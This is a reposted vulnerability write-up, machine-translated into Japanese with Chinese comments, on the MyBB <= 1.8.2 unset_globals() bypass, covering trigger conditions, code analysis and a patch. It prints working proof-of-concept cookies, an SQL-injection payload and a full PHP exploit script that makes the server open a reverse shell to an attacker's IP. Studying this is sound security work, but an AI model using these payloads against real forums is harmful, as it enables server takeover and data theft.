ホームページ > バックエンド開発 > PHPチュートリアル > MyBB <= 1.8.2 unset_globals() 関数バイパスとリモート コード実行 (リバース シェル Explo.

MyBB <= 1.8.2 unset_globals() 関数バイパスとリモート コード実行 (リバース シェル Explo.

WBOY
リリース: 2016-06-20 12:38:58
オリジナル
1061 人が閲覧しました

カタログ

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
ログイン後にコピー

1. 脆弱性の説明

MyBB の unset_globals() 関数は特別な条件下でバイパスされ、リモート コードの実行を許可する可能性があります。

関連リンク:

https://cxsecurity.com/issue/WLB-2015120164https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.htmlhttps://www.exploit-db.com/exploits/35323/
ログイン後にコピー

2. 脆弱性のトリガー条件

0x1: POC1

//php.ini配置1. request_order = "GP"2. register_globals = On//remote code execution by just using curl on the command line3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/
ログイン後にコピー

PHP 自動検証スクリプト

<?php// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit// Date: 15/12/2015// Exploit Author: ssbostan// Vendor Homepage: http://www.mybb.com/// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip// Version: <= 1.8.2// Tested on: MyBB 1.8.2$target="http://localhost/mybb1802/index.php";$yourip="ipaddress";$ch=curl_init();curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");curl_setopt($ch, CURLOPT_URL, $target);curl_exec($ch);curl_close($ch);// nc -l 4444// php mybb-1802-core-exploit.php?>
ログイン後にコピー

0x2: POC2

//php.ini1. disable_functions = ini_get2. register_globals = On//url3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
ログイン後にコピー

0x3: POC3

//php.ini配置1. request_order = "GP"2. register_globals = On//urlcurl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php//Works on disable_functions = ini_get and register\_globals = On:css.php?shutdown_queries[]=SQL_Inj
ログイン後にコピー

3. 脆弱性の影響範囲

MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15
ログイン後にコピー

4. 脆弱性コード分析

mybb_1802incclass_core.php

..// If we've got register globals on, then kill them too/*When PHP's register_globals configuration set on, MyBB will call unset_globals() functionall global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.这是MyBB做的一种安全机制,在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理",抵消可能出现的register_globals导致的安全问题*/if(@ini_get("register_globals") == 1){    $this->unset_globals($_POST);    $this->unset_globals($_GET);    $this->unset_globals($_FILES);    $this->unset_globals($_COOKIE);}../** * Unsets globals from a specific array. * * @param array The array to unset from. */function unset_globals($array){    if(!is_array($array))    {        return;    }    foreach(array_keys($array) as $key)    {        unset($GLOBALS[$key]);        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4    }}
ログイン後にコピー

このロジックは問題ないようですが、セキュリティ上の理由から防御的に処理されますが、PHP カーネルのいくつかの特性により、unset_globals() 関数が実行される可能性があります。

1. 在正常情况下,通过GPC方式输入的变量,即使开启了register_globals,也会被自动进行unset $GLOBAL[$var]处理,这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑,这防御了本地变量覆盖的发生2. 但是存在一个特殊的变量GLOBALS,$GLOBALS超全局数组是PHP内核负责创建维护的,我们可以在程序中任意位置读写$GLOBALS['key'],PHP内核绑定了$GLOBALS数组和global symbol table之间的连接3. 如果黑客传入: foo.php?GLOBALS=1,则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接4. 而这直接导致的后果是$_GET、$_POST、$_COOKIE..中无法再获取到用户传入的参数key,因为本质上GPC的参数是从$GLOBALS中拿到的,所以unset操作也就无法正常进行
ログイン後にコピー

MyBB の防御フレームワークがこの問題に気づいたことに注意してください mybb_1802incclass_core.php

..function __construct(){    // Set up MyBB    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");    foreach($protected as $var)    {        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))        {            die("Hacking attempt");        }    }    ..
ログイン後にコピー

MyBB の本来の目的は、リクエスト パラメーターが GET/POST/ に表示されないようにすることです。 GLOBALS はグローバル変数パラメータの値に影響を与える可能性がありますが、問題は PHP の $_REQUEST もスーパーグローバル変数であり、その値は PHP5.3 以降、request_order = "GP" の影響を受けることです。 , $_REQUEST には GET/POST のパラメータのみが含まれるため、COOKIES の機密パラメータのフィルタリングが失敗する直接の原因となるため、ハッカーは変数上書き攻撃ペイロードを COOKIES

GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;
ログイン後にコピー

にわずかに置くことができます。この悪用の前提条件の 2 つのシナリオ

1. MyBB <= PHP 5.3: request_order = "GP"2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 
ログイン後にコピー

変数の上書きが発生する前提を理解したので、次のステップは、攻撃ペイロードがどのように構築され、mybb_1802incclass_core.php のローカル変数の上書きをトリガーするかを確認することです

//class_core.php几乎是所有页面脚本都会调用到的文件,下面的析构函数会被频繁调用function __destruct(){    // Run shutdown function    if(function_exists("run_shutdown"))    {        run_shutdown();    }}
ログイン後にコピー

run_shutdown();mybb_1802incfunctions.php

/** * Runs the shutdown items after the page has been sent to the browser. * */function run_shutdown(){    //the $shutdown_functions was initialized via add\_shutdown() function in init.php    //但是因为本地变量覆盖漏洞的存在,这里$shutdown_functions可以被劫持    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))    {        return;    }    ..    // Run any shutdown functions if we have them    if(is_array($shutdown_functions))    {        foreach($shutdown_functions as $function)        {            call_user_func_array($function['function'], $function['arguments']);        }    }    ..
ログイン後にコピー

関連リンク:

http://0day.today/exploit/22913
ログイン後にコピー

5. 防御方法

incclass_core.php

class MyBB {    ..    function __construct()    {        // Set up MyBB        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");        foreach($protected as $var)        {            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))            {                die("Hacking attempt");            }        }        ..
ログイン後にコピー

関連リンク:

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/http://cn.313.ninja/exploit/22913
ログイン後にコピー

6. 攻撃的思考と防御的思考

Copyright (c) 2016 Little5ann All Rights Reserved

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート